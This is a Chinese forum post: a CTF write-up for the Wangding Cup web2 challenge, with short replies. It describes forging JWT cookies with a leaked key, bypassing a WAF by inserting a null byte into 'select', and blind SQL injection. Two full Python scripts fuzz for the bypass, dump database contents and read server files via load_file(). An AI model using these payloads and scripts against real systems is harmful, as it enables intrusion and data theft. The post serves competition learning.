网鼎杯(玄武)web2 WriteUp

正文:

​ 现在比赛都是pwn的天下,可惜我们团队没有pwn选手,本次比赛就做了三道题,进不了线下赛。说说第二道web题吧,常见的登录和注册功能(出题人可能脑回路有异常),注册一个普通用户登录,页面会显示用户名猜测可能是二次注入,试了半天无果,尝试登录注入同样的结果,看来应该没有注入。想到注册个admin用户看看,发现存在admin用户,admin/admin随手登录返回了一个key,不明所以???扫了扫目录也没有发现什么有价值的信息,目前只有一个key,仔细看了看burp里面的数据包,咦?cookie里面的token值有些面熟,之前hackerone测试的时候遇见了好几次,但一时半会想不起是什么加密,正要搜的时候,队友说是jwt加密,在jwt.io网站解密

这里思路就比较明确了,前面返回的key应该是用于jwt的加密,修改jwt payload user为admin'使用key重新加密作为cookie token提交,返回500,很可能是注入,构造正确的测试语句response 200,确定是SQL注入,这里空格要使用/**/代替否则会被拦截,order by 确定有4列,使用联合查询发现被拦截,在测试绕过花费了大量时间):测试xxunionxxselectxx ,还是被拦截,确认是select 存在关键字的原因,当时注册了xxselect 发现没有被拦截,猜测waf可能会对单引号后面内容进行检测,绕了好久都没有绕过,这时候已经有两三个队伍做出来了,陷入僵局,然后尝试了二次解码注入、宽字符注入、unicode注入同样没有结果,目前想到的方法只能是waf会过滤一些关键字和函数,利用过滤的关键字绕过select的检测。把所有关键字和函数整理成字典进行fuzz,admin' order by[FUZZ] 1#fuzz完也没有结果,然后对小写字母 长度2和长度3的排列进行fuzz同样没有结果,对一些特殊字符手动fuzz也无果, 没辙了干脆全字符fuzz一下吧,结果chr(0)直接绕过,这里只有一个感觉就是fuzz还是老老实实从头全字符fuzz吧,不要想的偷奸耍滑,否则花费的时间可能更多。

#! /usr/bin/env python
# -*- coding:utf-8 -*-
# author:flystart
# home:www.flystart.org
# time:2020/5/21

import jwt
import requests
import string
import itertools
import sys

print(string.ascii_lowercase)
def fuzz_chars():
    ret = []
    for i in itertools.product(string.ascii_lowercase, repeat=3):
        d = ''.join(i)
        ret.append(d)
    return ret

def get_file_content(filename):
    result = []
    f = open(filename, "r")
    for line in f.readlines():
        result.append(line.strip())
    f.close()
    return result

def put_file_contents(filename,contents):
    with open(filename,"a+") as fin:
        fin.write(contents+"\n")

def send_data(payload):
    sess = requests.session()
    data = r"admin' and 1=(se{0}lect 1)#".format(payload)
    data = data.replace(' ','/**/')
    print(data)
    encoded_jwt = jwt.encode({'user': data,'news':'key:xRt*[email protected]&6'}, 'xRt*[email protected]&6', algorithm='HS256').decode('ascii')
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
        'Cookie':'token={0}'.format(encoded_jwt)
    }
    proxies = {'http':'127.0.0.1:8080'}
    sess.headers = headers
    sess.proxies = proxies
    url = 'http://d1ca134f8a4548fc9a9fd9e3cac6cf86b4d379b0fdb64cd4.cloudgame2.ichunqiu.com/index.php'
    response =sess.put(url)
    text = response.text
    print(response.status_code)
    put_file_contents('fuzzz.txt',data)
    if response.status_code==200 and 'LgcGpnmM2X8i' in text:
        put_file_contents('fuzzz.txt', "good\n")
        print('good\n')
        sys.exit(0)
        print(response.content)

if __name__ == '__main__':
    for i in range(0,256):
        a =(chr(i))
        send_data(a)
    '''
    __ = fuzz_chars()
    #__ = get_file_content('funcs.txt')
    for _ in __:
        send_data(_)
    '''

这里联合查询无法注入数据只能写脚本dump数据了,坑爹的是数据库中并没有发现flag,最后尝试读取/flag.txt 、/flag 读到flag 在文件/flag里面,要是知道flag在文件中还绕个屁的select

完整脚本:

#! /usr/bin/env python
# -*- coding:utf-8 -*-
# author:flystart
# home:www.flystart.org

import requests
from requests.adapters import HTTPAdapter
import jwt
import binascii

success_flag = "LgcGpnmM2X8i"
keys=list(r''' @ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{|}~!"#$%&'()*+,-./0123456789:;<=>?[\]^_`''')
url = "http://5a5b0a8899a8419ab434b5fd3836e0f37301cb8683a14f72.cloudgame2.ichunqiu.com/index.php"
bo = "and ord(substr((%query) from %index for 1))=%value"
b01 = "and 1=(if((ord(substr((%query) from %index for 1))>%value),1,0))"
query = "(select %s from t_n limit %d,1)"
len_query = "and length(%query)=%value"
len_query2 = "and 1=(if((length(%query)>%value),1,0))"
boundary = bo

query_tab="(select %s from t_n where table_schema={db}limit %d,1)",
query_col="(select %s from t_n where table_schema={db} and table_name={table} limit %d,1)"

req = requests.session()
proxies = {'http':'127.0.0.1:8080'}
req.proxies = proxies
req.mount('http://', HTTPAdapter(max_retries=3))
req.mount('https://', HTTPAdapter(max_retries=3))


def format_hex(str):
    return "0x"+binascii.b2a_hex(str)

def read_file(file):
    file ='load_file(\'{0}\')'.format(file)
    table_name = 'information_schema.schemata'
    col_name = ["{0}".format(file)]
    text = get_values_by_double_blind(table_name,col_name,'0',query=query)
    return text

def main():
    #database = get_current_database()
    #print(database) # db = cms
    file = '/flag'
    print(read_file(file))
    db = "cms"
    '''
    table = get_tables("0x636d73")
    table = 'users'
    cols = get_cols(table)
    print(cols)
    '''
    print('main')


def find_success(flag,text):
    ret = False
    if flag in text:
        ret = True
    return ret


def get_current_database():
    table_name = 'information_schema.schemata'
    col_name = ["database()"]
    # user = get_values_by_blind(table_name, col_name, '0',query=query)
    user = get_values_by_double_blind(table_name,col_name,'0',query=query)
    return user



def get_tables(db):
    table_name = 'information_schema.tables'
    col_name = ["table_name"]
    global query,query_tab
    query = "select %s from t_n where table_schema=DB limit %d,1".replace('DB',db)
    counts =2
    tables = []
    for i in range(int(counts)):
        table = get_values_by_double_blind(table_name,col_name,str(i),query=query)
        tables.append(table)
    return tables

def get_cols(db,table):
    table_name = 'information_schema.tables'
    col_name = ["table_name"]
    global query,query_tab
    query_col = "(select %s from t_n where table_schema=DB and table_name=TABLE limit %d,1)"
    query_col =query_col.replace("DB",db)
    query_col = query_col.replace("TABLE",table)
    query = query_col
    counts =2
    tables = []
    for i in range(int(counts)):
        table = get_values_by_double_blind(table_name,col_name,str(i),query=query)
        tables.append(table)
    return tables

def get_length(table_name,cols,i=0): # limit i
    len_index = 1
    global  boundary
    # boundary = len_query
    boundary = len_query2
    len_index = double_search(table_name, cols,i,"",left_number=0,right_number=10)
    '''
    while True:
        try:
            payload = get_payload(table_name,cols,i,"",str(len_index))
            global url
            con_url = url + ' ' + payload
            res = req.get(con_url)
            if success_flag in res.text:
                break
            len_index = len_index +1
        except Exception,e:
            print e.message
    # boundary = bo enmu get value
    '''
    boundary = b01 # double_query get value
    print('value len is:',len_index)
    return len_index


def get_values_by_blind(table_name, col_name, in_limit='0', query =query):
    len = get_length(table_name, col_name, in_limit)
    cu_query = query
    temp = ""
    for i in range(1, len + 1):
        for key in keys:
            payload = get_payload(table_name, col_name, in_limit, str(i), str(ord(key)),query=cu_query)
            global url
            req.headers = payload
            con_url = url
            res = req.get(con_url)
            if find_success(success_flag, res.text):
                temp = temp + key
                print(temp)
    return temp


def get_payload(table_name,col_name,i="0",index="",value="",query =query): # (index,vaule) is used blind
    cols = []
    for col in col_name:
        cols.append(col)
    cat_str = cols[0]
    payload = query.replace('t_n',table_name)
    payload = payload.replace('%s', cat_str)
    payload = payload.replace('%d', i)
    payload = boundary.replace('%query', payload)
    payload = payload.replace('%index', index)
    payload = payload.replace('%value', value)
    payload = payload.replace('select','sel{0}ect').format(chr(0))
    data = r"admin' {0}#".format(payload)
    data = data.replace(' ', '/**/')
    print(data)
    encoded_jwt = jwt.encode({'user': data, 'news': 'key:xRt*[email protected]&6'},
                             'xRt*[email protected]&6', algorithm='HS256').decode('ascii')
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
        'Cookie': 'token={0}'.format(encoded_jwt)
    }

    return headers


def get_values_by_double_blind(table_name, col_name, in_limit='0', query =query):
    len = int(get_length(table_name, col_name, in_limit))
    cu_query = query
    text = ""
    for i in range(1, len + 1):
        value = double_search(table_name, col_name, in_limit, str(i),query=cu_query,left_number=0,right_number=96)
        text = text + chr(value)
        print("In program: " + text)
    return text


def double_search(table_name, col_name, in_limit='0', index="", query =query,left_number=0, right_number=0):
    while True:
        payload = get_payload(table_name, col_name, in_limit, index, value=str(right_number), query=query)
        con_url = url
        req.headers = payload
        res = req.get(con_url)
        if find_success(success_flag, res.text):
            left_number = right_number
            right_number = 2*right_number
        else:
            break

    while left_number < right_number:
        mid = int((left_number + right_number) / 2)
        payload = get_payload(table_name,col_name,in_limit,index,value=str(mid),query =query)
        req.headers = payload
        con_url = url
        res = req.get(con_url)
        if find_success(success_flag, res.text):
            left_number = mid
        else:
            right_number = mid
        if left_number == right_number - 1:
            payload = get_payload(table_name, col_name, in_limit, index, value=str(mid), query=query)
            req.headers = payload
            con_url = url
            res = req.get(con_url)
            if find_success(success_flag, res.text):
                print(mid)
                mid += 1
                print('found')
                break
            else:
                break
    return mid


if __name__ == '__main__':
    main()
1 Like

网鼎杯忘记了,没报名,所以就没打
不过现在 web 狗是越来越难了

这个脚本学习了

回头发个完整的